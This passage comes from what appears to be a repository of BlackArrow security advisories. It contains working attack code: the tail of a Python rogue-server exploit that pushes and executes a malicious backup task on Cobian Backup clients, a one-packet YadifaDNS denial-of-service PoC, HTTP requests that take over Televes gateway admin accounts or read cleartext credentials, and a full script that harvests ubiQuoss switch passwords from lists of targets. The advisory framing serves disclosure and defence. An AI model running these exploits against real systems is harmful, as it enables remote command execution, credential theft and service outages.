0x00, 0x66, 0x00, 0x61, 0x00, 341 | 0x6c, 0x00, 0x73, 0x00, 0x65, 0x00, 0x22, 0x00, 342 | 0x22, 0x00, 0x2c, 0x00, 0x4d, 0x00, 0x69, 0x00, 343 | 0x72, 0x00, 0x72, 0x00, 0x6f, 0x00, 0x72, 0x00, 344 | 0x3d, 0x00, 0x66, 0x00, 0x61, 0x00, 0x6c, 0x00, 345 | 0x73, 0x00, 0x65, 0x00, 0x2c, 0x00, 0x22, 0x00, 346 | 0x22, 0x00, 0x41, 0x00, 0x62, 0x00, 0x73, 0x00, 347 | 0x6f, 0x00, 0x6c, 0x00, 0x75, 0x00, 0x74, 0x00, 348 | 0x65, 0x00, 0x20, 0x00, 0x70, 0x00, 0x61, 0x00, 349 | 0x74, 0x00, 0x68, 0x00, 0x73, 0x00, 0x3d, 0x00, 350 | 0x66, 0x00, 0x61, 0x00, 0x6c, 0x00, 0x73, 0x00, 351 | 0x65, 0x00, 0x22, 0x00, 0x22, 0x00, 0x2c, 0x00, 352 | 0x22, 0x00, 0x22, 0x00, 0x41, 0x00, 0x6c, 0x00, 353 | 0x77, 0x00, 0x61, 0x00, 0x79, 0x00, 0x73, 0x00, 354 | 0x20, 0x00, 0x63, 0x00, 0x72, 0x00, 0x65, 0x00, 355 | 0x61, 0x00, 0x74, 0x00, 0x65, 0x00, 0x20, 0x00, 356 | 0x74, 0x00, 0x6f, 0x00, 0x70, 0x00, 0x20, 0x00, 357 | 0x64, 0x00, 0x69, 0x00, 0x72, 0x00, 0x65, 0x00, 358 | 0x63, 0x00, 0x74, 0x00, 0x6f, 0x00, 0x72, 0x00, 359 | 0x79, 0x00, 0x3d, 0x00, 0x74, 0x00, 0x72, 0x00, 360 | 0x75, 0x00, 0x65, 0x00, 0x22, 0x00, 0x22, 0x00, 361 | 0x2c, 0x00, 0x22, 0x00, 0x22, 0x00, 0x43, 0x00, 362 | 0x6c, 0x00, 0x65, 0x00, 0x61, 0x00, 0x72, 0x00, 363 | 0x20, 0x00, 0x61, 0x00, 0x72, 0x00, 0x63, 0x00, 364 | 0x68, 0x00, 0x69, 0x00, 0x76, 0x00, 0x65, 0x00, 365 | 0x20, 0x00, 0x61, 0x00, 0x74, 0x00, 0x74, 0x00, 366 | 0x72, 0x00, 0x69, 0x00, 0x62, 0x00, 0x75, 0x00, 367 | 0x74, 0x00, 0x65, 0x00, 0x3d, 0x00, 0x74, 0x00, 368 | 0x72, 0x00, 0x75, 0x00, 0x65, 0x00, 0x22, 0x00, 369 | 0x22, 0x00, 0x2c, 0x00, 0x22, 0x00, 0x22, 0x00, 370 | 0x49, 0x00, 0x6e, 0x00, 0x63, 0x00, 0x6c, 0x00, 371 | 0x75, 0x00, 0x64, 0x00, 0x65, 0x00, 0x20, 0x00, 372 | 0x62, 0x00, 0x61, 0x00, 0x63, 0x00, 0x6b, 0x00, 373 | 0x75, 0x00, 0x70, 0x00, 0x20, 0x00, 0x74, 0x00, 374 | 0x79, 0x00, 0x70, 0x00, 0x65, 0x00, 0x3d, 0x00, 375 | 0x74, 0x00, 0x72, 0x00, 0x75, 0x00, 0x65, 0x00, 376 | 0x22, 0x00, 0x22, 0x00, 0x2c, 0x00, 0x22, 0x00, 377 | 0x22, 0x00, 0x44, 0x00, 0x65, 0x00, 0x6c, 0x00, 378 | 0x65, 0x00, 0x74, 0x00, 0x65, 0x00, 0x20, 0x00, 379 | 0x65, 0x00, 0x6d, 0x00, 0x70, 0x00, 0x74, 0x00, 380 | 0x79, 0x00, 0x20, 0x00, 0x64, 0x00, 0x69, 0x00, 381 | 0x72, 0x00, 0x65, 0x00, 0x63, 0x00, 0x74, 0x00, 382 | 0x6f, 0x00, 0x72, 0x00, 0x69, 0x00, 0x65, 0x00, 383 | 0x73, 0x00, 0x3d, 0x00, 0x66, 0x00, 0x61, 0x00, 384 | 0x6c, 0x00, 0x73, 0x00, 0x65, 0x00, 0x22, 0x00, 385 | 0x22, 0x00, 0x2c, 0x00, 0x49, 0x00, 0x6d, 0x00, 386 | 0x70, 0x00, 0x65, 0x00, 0x72, 0x00, 0x73, 0x00, 387 | 0x6f, 0x00, 0x6e, 0x00, 0x61, 0x00, 0x74, 0x00, 388 | 0x65, 0x00, 0x3d, 0x00, 0x66, 0x00, 0x61, 0x00, 389 | 0x6c, 0x00, 0x73, 0x00, 0x65, 0x00, 0x2c, 0x00, 390 | 0x22, 0x00, 0x22, 0x00, 0x41, 0x00, 0x62, 0x00, 391 | 0x6f, 0x00, 0x72, 0x00, 0x74, 0x00, 0x20, 0x00, 392 | 0x69, 0x00, 0x66, 0x00, 0x20, 0x00, 0x69, 0x00, 393 | 0x6d, 0x00, 0x70, 0x00, 0x65, 0x00, 0x72, 0x00, 394 | 0x73, 0x00, 0x6f, 0x00, 0x6e, 0x00, 0x61, 0x00, 395 | 0x74, 0x00, 0x69, 0x00, 0x6f, 0x00, 0x6e, 0x00, 396 | 0x20, 0x00, 0x66, 0x00, 0x61, 0x00, 0x69, 0x00, 397 | 0x6c, 0x00, 0x73, 0x00, 0x3d, 0x00, 0x66, 0x00, 398 | 0x61, 0x00, 0x6c, 0x00, 0x73, 0x00, 0x65, 0x00, 399 | 0x22, 0x00, 0x22, 0x00, 400 | 0x2c, 0x00, 0x22, 0x00, 0x22, 0x00, 0x52, 0x00, 401 | 0x75, 0x00, 0x6e, 0x00, 0x20, 0x00, 0x61, 0x00, 402 | 0x73, 0x00, 0x20, 0x00, 0x55, 0x00, 0x73, 0x00, 403 | 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x6e, 0x00, 404 | 0x61, 0x00, 0x6d, 0x00, 0x65, 0x00, 0x3d, 0x00, 405 | 0x22, 0x00, 0x22, 0x00, 0x2c, 0x00, 0x22, 0x00, 406 | 0x22, 0x00, 0x52, 0x00, 0x75, 0x00, 0x6e, 0x00, 407 | 0x20, 0x00, 0x61, 0x00, 0x73, 0x00, 0x20, 0x00, 408 | 0x44, 0x00, 0x6f, 0x00, 0x6d, 0x00, 0x61, 0x00, 409 | 0x69, 0x00, 0x6e, 0x00, 0x3d, 0x00, 0x2e, 0x00, 410 | 0x22, 0x00, 0x22, 0x00, 0x2c, 0x00, 0x22, 0x00, 411 | 0x22, 0x00, 0x52, 0x00, 0x75, 0x00, 0x6e, 0x00, 412 | 0x20, 0x00, 0x61, 0x00, 0x73, 0x00, 0x20, 0x00, 413 | 0x50, 0x00, 0x61, 0x00, 0x73, 0x00, 0x73, 0x00, 414 | 0x77, 0x00, 0x6f, 0x00, 0x72, 0x00, 0x64, 0x00, 415 | 0x3d, 0x00, 0x59, 0x00, 0x77, 0x00, 0x42, 0x00, 416 | 0x69, 0x00, 0x41, 0x00, 0x47, 0x00, 0x51, 0x00, 417 | 0x41, 0x00, 0x66, 0x00, 0x41, 0x00, 0x42, 0x00, 418 | 0x36, 0x00, 0x41, 0x00, 0x48, 0x00, 0x77, 0x00, 419 | 0x41, 0x00, 0x5a, 0x00, 0x51, 0x00, 0x42, 0x00, 420 | 0x69, 0x00, 0x41, 0x00, 0x47, 0x00, 0x51, 0x00, 421 | 0x41, 0x00, 0x63, 0x00, 0x67, 0x00, 0x41, 0x00, 422 | 0x34, 0x00, 0x41, 0x00, 0x48, 0x00, 0x51, 0x00, 423 | 0x41, 0x00, 0x45, 0x00, 0x77, 0x00, 0x41, 0x00, 424 | 0x44, 0x00, 0x41, 0x00, 0x41, 0x00, 0x77, 0x00, 425 | 0x41, 0x00, 0x63, 0x00, 0x77, 0x00, 0x42, 0x00, 426 | 0x6d, 0x00, 0x41, 0x00, 0x48, 0x00, 0x55, 0x00, 427 | 0x41, 0x00, 0x61, 0x00, 0x41, 0x00, 0x41, 0x00, 428 | 0x64, 0x00, 0x41, 0x00, 0x41, 0x00, 0x45, 0x00, 429 | 0x41, 0x00, 0x63, 0x00, 0x67, 0x00, 0x42, 0x00, 430 | 0x68, 0x00, 0x41, 0x00, 0x48, 0x00, 0x49, 0x00, 431 | 0x41, 0x00, 0x61, 0x00, 0x51, 0x00, 0x41, 0x00, 432 | 0x45, 0x00, 0x41, 0x00, 0x41, 0x00, 0x38, 0x00, 433 | 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x42, 0x00, 434 | 0x34, 0x00, 0x41, 0x00, 0x42, 0x00, 0x30, 0x00, 435 | 0x41, 0x00, 0x62, 0x00, 0x77, 0x00, 0x41, 0x00, 436 | 0x4a, 0x00, 0x41, 0x00, 0x47, 0x00, 0x41, 0x00, 437 | 0x41, 0x00, 0x64, 0x00, 0x77, 0x00, 0x42, 0x00, 438 | 0x6a, 0x00, 0x41, 0x00, 0x43, 0x00, 0x77, 0x00, 439 | 0x41, 0x00, 0x44, 0x00, 0x41, 0x00, 0x41, 0x00, 440 | 0x42, 0x00, 0x41, 0x00, 0x48, 0x00, 0x34, 0x00, 441 | 0x41, 0x00, 0x47, 0x00, 0x77, 0x00, 0x42, 0x00, 442 | 0x70, 0x00, 0x41, 0x00, 0x41, 0x00, 0x73, 0x00, 443 | 0x41, 0x00, 0x65, 0x00, 0x67, 0x00, 0x42, 0x00, 444 | 0x31, 0x00, 0x41, 0x00, 0x47, 0x00, 0x41, 0x00, 445 | 0x41, 0x00, 0x61, 0x00, 0x41, 0x00, 0x41, 0x00, 446 | 0x4d, 0x00, 0x41, 0x00, 0x44, 0x00, 0x59, 0x00, 447 | 0x41, 0x00, 0x5a, 0x00, 0x77, 0x00, 0x41, 0x00, 448 | 0x69, 0x00, 0x41, 0x00, 0x41, 0x00, 0x3d, 0x00, 449 | 0x3d, 0x00, 0x22, 0x00, 0x22, 0x00, 0x2c, 0x00, 450 | 0x2f, 0x00, 0x2f, 0x00, 0x31, 0x00, 0x31, 0x00, 451 | 0x7d, 0x00, 0x22, 0x00, 0x2c, 0x00, 0x0d, 0x00, 452 | 0x0a, 0x00 ] 453 | 454 | execute_template = [ 455 | 0x42, 0x00, 0x41, 0x00, 0x43, 0x00, 0x4b, 0x00, 456 | 0x55, 0x00, 0x50, 0x00, 0x5f, 0x00, 0x53, 0x00, 457 | 0x45, 0x00, 0x4c, 0x00, 0x45, 0x00, 0x43, 0x00, 458 | 0x54, 0x00, 0x45, 0x00, 0x44, 0x00, 0x2c, 0x00, 459 | 0x7b, 0x00, 0x45, 0x00, 0x37, 0x00, 0x45, 0x00, 460 | 0x43, 0x00, 0x46, 0x00, 0x34, 0x00, 0x32, 0x00, 461 | 0x44, 0x00, 0x2d, 0x00, 0x37, 0x00, 0x38, 0x00, 462 | 0x45, 0x00, 0x34, 0x00, 0x2d, 0x00, 0x34, 0x00, 463 | 0x32, 0x00, 0x34, 0x00, 0x38, 0x00, 0x2d, 0x00, 464 | 0x42, 0x00, 0x37, 0x00, 0x45, 0x00, 0x45, 0x00, 465 | 0x2d, 0x00, 0x33, 0x00, 0x38, 0x00, 0x39, 0x00, 466 | 0x35, 0x00, 0x33, 0x00, 0x36, 0x00, 0x44, 0x00, 467 | 0x38, 0x00, 0x42, 0x00, 0x44, 0x00, 0x33, 0x00, 468 | 0x38, 0x00, 0x7d, 0x00, 0x2c, 0x00, 0x66, 0x00, 469 | 0x61, 0x00, 0x6c, 0x00, 0x73, 0x00, 0x65, 0x00, 470 | 0x0d, 0x00, 0x0a, 0x00] 471 | 472 | #### I know, I know, just wanted to try it fast don't hate me because this shit 473 | create_task = "" 474 | for x in task_template: 475 | create_task = create_task + chr(x) 476 | 477 | execute_task = "" 478 | for x in execute_template: 479 | execute_task = execute_task + chr(x) 480 | 481 | ###### Client handler 482 | def clients(conn): 483 | data = conn.recv(1024).split(",") 484 | print " -> Machine: " + data[2] 485 | print " -> Encrypted Password:\n" + data[1] 486 | conn.send(password_ok.decode("hex")) 487 | 488 | ping = conn.recv(1024) 489 | print "[+] Creating new task..." 490 | conn.send(create_task) 491 | ack = conn.recv(1024).split(",") 492 | print "[+] " + ack[0] 493 | conn.send(iddle.decode("hex")) 494 | ping = conn.recv(1024) 495 | print "[+] Executing task..." 496 | conn.send(execute_task) 497 | ack = conn.recv(1024).split(",") 498 | print "[+] Is it OK? " + ack[0] 499 | conn.close() 500 | 501 | 502 | ####### Main 503 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 504 | try: 505 | sock.bind((host, port)) 506 | except socket.error as msg: 507 | print "Error: " + str(msg) + " - " + msg[1] 508 | sys.exit(1) 509 | sock.listen(10) 510 | 511 | while 1: 512 | conn, addr = sock.accept() 513 | print "[+] New client connected from " + addr[0] 514 | start_new_thread(clients, (conn,)) 515 | sock.close() -------------------------------------------------------------------------------- /2017/CVE-2017-11318/README.md: -------------------------------------------------------------------------------- 1 | # CVE-2017-11318: Remote Command Execution in Cobian Backup 2 | [![](https://img.shields.io/badge/Attack%20Vector-Adjacent%20Network-yellow?style=flat-square)]() [![](https://img.shields.io/badge/Privileges%20Required-None-red?style=flat-square)]() [![](https://img.shields.io/badge/User%20Interaction-No-red?style=flat-square)]() 3 | 4 | 5 | __Vendor:__ CobianSoft
6 | __Vendor URL:__ https://www.cobiansoft.com
7 | __Versions affected:__ Cobian Backup 11
8 | __Discovered by:__ Juan Manuel Fernandez ([@TheXC3LL](https://twitter.com/TheXC3LL))
9 | __Public fix:__ No
10 | __Proof of Concept:__ Yes ([ref](https://github.com/blackarrowsec/advisories/blob/master/2017/CVE-2017-11318/CVE-2017-11318.py))
11 | 12 | 13 | 14 | 15 | ## Summary 16 | An attacker can execute arbitrary commands on a remote machine in the same network via a spoofed master server. 17 | 18 | ## Details 19 | An attacker can add and execute new backup tasks when the master server is spooofed (via Man-in-the-Middle). The commands are executed using the pre-backup events defined in a new task. 20 | 21 | ## Impact 22 | An attacker can execute arbitrary commands in a target machine. 23 | 24 | ## Recommendation 25 | This software has no support since 2014, so this vulnerability will not be fixed. 26 | 27 | ## Timeline 28 | 29 | # 30 | 31 | [![](https://img.shields.io/badge/www-blackarrow.net-E5A505?style=flat-square)](https://www.blackarrow.net) [![](https://img.shields.io/badge/twitter-@BlackArrowSec-00aced?style=flat-square&logo=twitter&logoColor=white)](https://twitter.com/BlackArrowSec) [![](https://img.shields.io/badge/linkedin-@BlackArrowSec-0084b4?style=flat-square&logo=linkedin&logoColor=white)](https://www.linkedin.com/company/blackarrowsec/) 32 | 33 | -------------------------------------------------------------------------------- /2017/CVE-2017-14339/README.md: -------------------------------------------------------------------------------- 1 | # CVE-2017-14339: Remote Denial of Service in YadifaDNS 2 | [![](https://img.shields.io/badge/Attack%20Vector-Remote-red?style=flat-square)]() [![](https://img.shields.io/badge/Privileges%20Required-None-red?style=flat-square)]() [![](https://img.shields.io/badge/User%20Interaction-No-red?style=flat-square)]() 3 | 4 | 5 | __Vendor:__ EURid
6 | __Vendor URL:__ https://www.yadifa.eu
7 | __Versions affected:__ YadifaDNS <= 2.2.5
8 | __Discovered by:__ Javier Gil ([@ca0s_](https://twitter.com/ca0s_))
9 | __Public fix:__ Yes
10 | __Proof of Concept:__ Yes ([ref](https://github.com/blackarrowsec/advisories/blob/master/2017/CVE-2017-14339/))
11 | 12 | ## Summary 13 | The DNS packet parser in YADIFA before 2.2.6 does not check for the presence of infinite pointer loops, and thus it is possible to force it to enter an infinite loop. This can cause high CPU usage and makes the server unresponsive. 14 | 15 | ## Details 16 | The DNS packet parser does not check for the presence of infinite pointer loops, and thus it is possible to force the thread to enter an infinite loop. The number of threads running on the service that process DNS messages depends on the server’s configuration, so the number of packets needed to make the server to completely stop answering is not fixed. Each time we send the packet, a thread will get stuck forever, until no more threads are available. 17 | 18 | The following is a simple PoC: 19 | 20 | ```python 21 | # Yadifa DoS PoC 22 | # Discovered by: Javier Gil (@ca0s_) 23 | import socket 24 | import sys 25 | if __name__ == '__main__': 26 | if len(sys.argv) < 2: print "Usage: %s IP [PORT]" % (sys.argv[0], ) sys.exit(-1) IP = sys.argv[1] if len(sys.argv) >= 3: 27 | PORT = int(sys.argv[2]) 28 | else: 29 | PORT = 53 30 | exploit = "3132000000010000000001010a6b61306c6162732d000100000e100006036e7336c00cc02300" 31 | print "[+] Yadifa DoS PoC" 32 | print "[+] Sending packet..." 33 | sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # UDP 34 | sock.sendto(exploit.decode("hex"), (IP, PORT)) 35 | print "[+] Sent!" 36 | ``` 37 | 38 | ## Impact 39 | An attacker can cause a denial of service. 40 | 41 | ## Recommendation 42 | Update to last version. 43 | 44 | ## Timeline 45 | * 01/09/2017 – Initial contact with EURid’s security team and bug report, following a strict FD policy (Friday Disclosure) 46 | * 01/09/2017 – Got an answer from EURid, information forwarded to yadifa developers 47 | * 04/09/2017 – PoC sent to EURid 48 | * 08/09/2017 – Bug reproduced by EURid’s developers, start developing a patch 49 | * 11/09/2017 – Contact with MITRE 50 | * 12/09/2017 – CVE-2017-14339 assigned 51 | * 13/09/2017 – yadifa 2.2.6 released, bug fixed 52 | 53 | # 54 | 55 | [![](https://img.shields.io/badge/www-blackarrow.net-E5A505?style=flat-square)](https://www.blackarrow.net) [![](https://img.shields.io/badge/twitter-@BlackArrowSec-00aced?style=flat-square&logo=twitter&logoColor=white)](https://twitter.com/BlackArrowSec) [![](https://img.shields.io/badge/linkedin-@BlackArrowSec-0084b4?style=flat-square&logo=linkedin&logoColor=white)](https://www.linkedin.com/company/blackarrowsec/) 56 | -------------------------------------------------------------------------------- /2017/CVE-2017-6530/README.md: -------------------------------------------------------------------------------- 1 | # CVE-2017-6530: Arbitrary password change in Televes Coaxdata Gateway 1Gbps 2 | 3 | ## Software 4 | [![](https://img.shields.io/badge/Attack%20Vector-Remote-red?style=flat-square)]() [![](https://img.shields.io/badge/Privileges%20Required-Low-yellow?style=flat-square)]() [![](https://img.shields.io/badge/User%20Interaction-No-red?style=flat-square)]() 5 | 6 | __Vendor:__ Televes
7 | __Vendor URL:__ https://www.televes.com
8 | __Versions affected:__ Televes Coaxdata Gateway 1Gbps
9 | __Discovered by:__ Pedro Andujar ([@pandujar](https://twitter.com/pandujar))
10 | __Public fix:__ Yes
11 | __Proof of Concept:__ No
12 | 13 | ## Summary 14 | A restricted user can modify the Admin password. 15 | 16 | ## Details 17 | An authenticated low privileged user can modify the Admin password using the following request: 18 | 19 | ``` 20 | http://TARGET/password.shtml?DeviceInfo.X_ATH-COM_TeleComAccount.Password= 21 | ``` 22 | 23 | ## Impact 24 | This vulnerability can be exploited to do an account takeover of the admin user. 25 | 26 | ## Recommendation 27 | Update the firmware to last version and block the adminsitration web interface on the internet or untrusted networks. 28 | 29 | ## Timeline 30 | * 27/2/2017 - Reported vulnerability to vendor 31 | * 28/2/2017 - Technical details sent on a 2nd contact attempt 32 | * 01/3/2017 - Manufacturer acknowledge the issues and stats that restricted user would be removed from future releases 33 | * 13/7/2017 - Follow up email related to resolution. No response 34 | * 20/7/2017 - Public Disclosure 35 | 36 | # 37 | 38 | [![](https://img.shields.io/badge/www-blackarrow.net-E5A505?style=flat-square)](https://www.blackarrow.net) [![](https://img.shields.io/badge/twitter-@BlackArrowSec-00aced?style=flat-square&logo=twitter&logoColor=white)](https://twitter.com/BlackArrowSec) [![](https://img.shields.io/badge/linkedin-@BlackArrowSec-0084b4?style=flat-square&logo=linkedin&logoColor=white)](https://www.linkedin.com/company/blackarrowsec/) -------------------------------------------------------------------------------- /2017/CVE-2017-6531/README.md: -------------------------------------------------------------------------------- 1 | # CVE-2017-6531: Unrestricted backup restore in Televes Coaxdata Gateway 1Gbps 2 | ## Software 3 | [![](https://img.shields.io/badge/Attack%20Vector-Remote-red?style=flat-square)]() [![](https://img.shields.io/badge/Privileges%20Required-Low-yellow?style=flat-square)]() [![](https://img.shields.io/badge/User%20Interaction-No-red?style=flat-square)]() 4 | 5 | __Vendor:__ Televes
6 | __Vendor URL:__ https://www.televes.com
7 | __Versions affected:__ Televes Coaxdata Gateway 1Gbps
8 | __Discovered by:__ Pedro Andujar ([@pandujar](https://twitter.com/pandujar))
9 | __Public fix:__ Yes
10 | __Proof of Concept:__ No
11 | 12 | 13 | ## Summary 14 | A restricted user can update the configuration via "backup restore" functionality. 15 | 16 | ## Details 17 | An authenticated low privileged user can modify the Admin password modifying the configuration file and updating it. Steps to reproduce: 18 | 19 | 1. Update configuration file with new password 20 | ``` 21 | POST /ReadFile.cgi HTTP/1.1 22 | 23 | Host: 24 | User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:51.0) Gecko/20100101 Firefox/51.0 25 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 26 | Accept-Language: en-US,en;q=0.5 27 | Referer: http:///resetrouter.shtml?DeviceInfo.AdditionalConfigVersion=default_cfg_v1.02.0014 28 | Connection: close 29 | Upgrade-Insecure-Requests: 1 30 | Content-Type: multipart/form-data; boundary=---------------------------66789582480853432558488077 31 | Content-Length: 42533 32 | 33 | 34 | -----------------------------66789582480853432558488077 35 | Content-Disposition: form-data; name="cfgfile"; filename="s" 36 | Content-Type: application/octet-stream 37 | 38 | 39 | InternetGatewayDevice.DeviceInfo.X_ATH-COM_TeleComAccount.Password -m 1 -d 40 | 41 | 42 | -----------------------------66789582480853432558488077 43 | Content-Disposition: form-data; name="LoadCfgFile" 44 | 45 | Load 46 | -----------------------------66789582480853432558488077-- 47 | 48 | ``` 49 | 50 | 2. Restore the configuration 51 | 52 | ```http:///result.shtml?method=LoadCfgFile&result=0&cfgfile=/tmp/s1488261988``` 53 | 54 | 3. Reboot the device 55 | 56 | ```http:///result.shtml?method=Reboot``` 57 | 58 | ## Impact 59 | This vulnerability can be exploited to do an account takeover of the admin user. 60 | 61 | ## Recommendation 62 | Update the firmware to last version and block the adminsitration web interface on the internet or untrusted networks. 63 | 64 | ## Timeline 65 | * 27/2/2017 - Reported vulnerability to vendor 66 | * 28/2/2017 - Technical details sent on a 2nd contact attempt 67 | * 01/3/2017 - Manufacturer acknowledge the issues and stats that restricted user would be removed from future releases 68 | * 13/7/2017 - Follow up email related to resolution. No response 69 | * 20/7/2017 - Public Disclosure 70 | 71 | # 72 | 73 | [![](https://img.shields.io/badge/www-blackarrow.net-E5A505?style=flat-square)](https://www.blackarrow.net) [![](https://img.shields.io/badge/twitter-@BlackArrowSec-00aced?style=flat-square&logo=twitter&logoColor=white)](https://twitter.com/BlackArrowSec) [![](https://img.shields.io/badge/linkedin-@BlackArrowSec-0084b4?style=flat-square&logo=linkedin&logoColor=white)](https://www.linkedin.com/company/blackarrowsec/) -------------------------------------------------------------------------------- /2017/CVE-2017-6532/README.md: -------------------------------------------------------------------------------- 1 | # CVE-2017-6532: Backup containing cleartext credentials is accessible by restricted user in Televes Coaxdata Gateway 1Gbps 2 | ## Software 3 | [![](https://img.shields.io/badge/Attack%20Vector-Remote-red?style=flat-square)]() [![](https://img.shields.io/badge/Privileges%20Required-Low-yellow?style=flat-square)]() [![](https://img.shields.io/badge/User%20Interaction-No-red?style=flat-square)]() 4 | 5 | __Vendor:__ Televes
6 | __Vendor URL:__ https://www.televes.com
7 | __Versions affected:__ Televes Coaxdata Gateway 1Gbps
8 | __Discovered by:__ Pedro Andujar ([@pandujar](https://twitter.com/pandujar))
9 | __Public fix:__ Yes
10 | __Proof of Concept:__ No
11 | 12 | ## Summary 13 | A restricted user can download the configuration file and read the admin credentials. 14 | 15 | ## Details 16 | This issue is in fact two, first one related to the lack of encryption when storing the user provided credentials wthin the 17 | configuration file, second one regarding the lack of access control to the backup file that should be restricted to admin user. 18 | This way after logging in with the default "username" credentials, you will only need to access the URL shown below, in order to 19 | find cleartext users and passwords of WiFI, WPS pin value, WAN (internet provider) and the device Admin account: 20 | 21 | ``` 22 | pandujar@fogheaven:~$ curl http://192.168.2.1/mib.db | grep -i Password 23 | 24 | InternetGatewayDevice.DeviceInfo.X_ATH-COM_TeleComAccount.Password -m 1 -d Changeme1 (Admin password) 25 | InternetGatewayDevice.WANDevice.1.WANConnectionDevice.1.WANPPPConnection.1.Password -m 1 -d Changeme2 (ISP Password) 26 | InternetGatewayDevice.X_ATH-COM_Account.UserPassword -m 1 -d 123456 (username password) 27 | 28 | ``` 29 | ## Impact 30 | This vulnerability can be exploited to do an account takeover of the admin user. 31 | 32 | ## Recommendation 33 | Update the firmware to last version and block the adminsitration web interface on the internet or untrusted networks. 34 | 35 | ## Timeline 36 | * 27/2/2017 - Reported vulnerability to vendor 37 | * 28/2/2017 - Technical details sent on a 2nd contact attempt 38 | * 01/3/2017 - Manufacturer acknowledge the issues and stats that restricted user would be removed from future releases 39 | * 13/7/2017 - Follow up email related to resolution. No response 40 | * 20/7/2017 - Public Disclosure 41 | * 42 | 43 | # 44 | 45 | [![](https://img.shields.io/badge/www-blackarrow.net-E5A505?style=flat-square)](https://www.blackarrow.net) [![](https://img.shields.io/badge/twitter-@BlackArrowSec-00aced?style=flat-square&logo=twitter&logoColor=white)](https://twitter.com/BlackArrowSec) [![](https://img.shields.io/badge/linkedin-@BlackArrowSec-0084b4?style=flat-square&logo=linkedin&logoColor=white)](https://www.linkedin.com/company/blackarrowsec/) -------------------------------------------------------------------------------- /2017/CVE-2017-8892/README.md: -------------------------------------------------------------------------------- 1 | # CVE-2017-8892: Stored XSS in OpenText TempoBox 2 | [![](https://img.shields.io/badge/Attack%20Vector-Remote-red?style=flat-square)]() [![](https://img.shields.io/badge/Privileges%20Required-Low-yellow?style=flat-square)]() [![](https://img.shields.io/badge/User%20Interaction-Yes-green?style=flat-square)]() 3 | 4 | 5 | __Vendor:__ OpenText
6 | __Vendor URL:__ https://www.opentext.com
7 | __Versions affected:__ OpenText TempoBox <= 10.0.3
8 | __Discovered by:__ Juan Manuel Fernandez ([@TheXC3LL](https://twitter.com/TheXC3LL))
9 | __Public fix:__ Yes
10 | __Proof of Concept:__ No
11 | 12 | 13 | ## Summary 14 | An authenticated user can inject JavaScript code in image filenames. 15 | 16 | ## Details 17 | This vulnerability can be exploited easily setting the name of a image as a classic XSS payload. This can be combined with the lack of HttpOnly attribute on the "cstoken" cookie in order to leak its contents. The "cstoken" cookie is used by the TempoBox API. 18 | 19 | ## Impact 20 | This vulnerability can be exploited to do an account takeover and steal or upload files. Additionally this vulnerability is wormwable. 21 | 22 | ## Recommendation 23 | Update to software to the last version. 24 | 25 | ## Timeline 26 | * 26/10/2016 - Reported vulnerability to vendor 27 | 28 | # 29 | 30 | [![](https://img.shields.io/badge/www-blackarrow.net-E5A505?style=flat-square)](https://www.blackarrow.net) [![](https://img.shields.io/badge/twitter-@BlackArrowSec-00aced?style=flat-square&logo=twitter&logoColor=white)](https://twitter.com/BlackArrowSec) [![](https://img.shields.io/badge/linkedin-@BlackArrowSec-0084b4?style=flat-square&logo=linkedin&logoColor=white)](https://www.linkedin.com/company/blackarrowsec/) 31 | -------------------------------------------------------------------------------- /2018/CVE-2018-10024/CVE-2018-10024.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # 3 | # CVE-2018-10024 - Credential leak 4 | # 5 | # Software: ubiQuoss Switch VP5208A 6 | # Author: Juan Manuel Fernandez (@TheXC3LL) from BlackArrow 7 | # Details: https://github.com/blackarrowsec/advisories/tree/master/2018/CVE-2018-10024 8 | # Web: [www.blackarrow.net] - [www.tarlogic.com] 9 | # 10 | 11 | 12 | import argparse 13 | import requests 14 | 15 | # Stupid banner is stupid 16 | def banner(): 17 | print "\n-=[ Ubiquoss QoS Switch - bcm_passwd tester (CVE-2018-10024) ]=-\n\n" 18 | 19 | # The pwn itself. If you enter a invalid user/pass combination a bcm_passwd file is created 20 | # This bcm_passwd is the real passwd of the QoS device. And even better: sometimes credentials are in clear-text 21 | # Fuck logic! 22 | 23 | def pwn(host): 24 | print "[+] Let's pwn " + host 25 | # Try to login with test / test 26 | print "[+] Trying to login with test / test" 27 | req = requests.post("http://" + host + "/cgi-bin/login.cgi", data = {'username' : 'test', 'password' : 'test'}, headers={'user-agent':'CVE-2018-10024 Tester. Use this as signature.'}) 28 | # Is bcm_passwd created? 29 | print "[+] Testing if bcm_passwd was created" 30 | req = requests.get("http://" + host + "/cgi-bin/bcm_passwd") 31 | if req.status_code == 200: 32 | return req.text 33 | else: 34 | return -1 35 | 36 | # Argument parser 37 | parser = argparse.ArgumentParser(description='Ubiquoss QoS Switch - bcm_passwd tester') 38 | parser.add_argument('--target', dest='target', help="Target IP") 39 | parser.add_argument('--list', dest='target_file', help="File with a list of targets") 40 | parser.add_argument('--log', dest='log', help='Optional: filename to save logs') 41 | args = parser.parse_args() 42 | 43 | banner() 44 | 45 | if not args.target and not args.target_file: 46 | print "[-] Error: please use -h to see correct syntax" 47 | exit(-1) 48 | 49 | #Yep we can refactor this but... u know xD 50 | if args.target: 51 | try: 52 | pwned = pwn(args.target) 53 | if pwned != -1: 54 | print "[+] Pwned!" 55 | if args.log: 56 | file = open(args.log, "a") 57 | file.write(pwned) 58 | file.close() 59 | print "\n" + pwned 60 | else: 61 | print "[-] Test failed. Not vulnerable." 62 | except: 63 | print "[-] Test failed. Is port opened?" 64 | 65 | if args.target_file: 66 | try: 67 | with open(args.target_file, "r") as data: 68 | targets = data.read().split("\n") 69 | except: 70 | print "[-] Error: file not found or incorrect format." 71 | exit(-1) 72 | for x in targets: 73 | try: 74 | pwned = pwn(x) 75 | if pwned != -1: 76 | print "[+] Pwned!" 77 | if args.log: 78 | file = open(args.log, "a") 79 | file.write("\n" + x + "\n" + pwned + "\n---------\n") 80 | file.close() 81 | print "\n" + pwned 82 | else: 83 | print "[-] Test failed. Not vulnerable." 84 | except: 85 | print "[-] Test failed. Is port opened?" 86 | -------------------------------------------------------------------------------- /2018/CVE-2018-10024/README.md: -------------------------------------------------------------------------------- 1 | # CVE-2018-10024: Credential leak in file accessible by unauthenticated user in ubiQuoss Switch 2 | 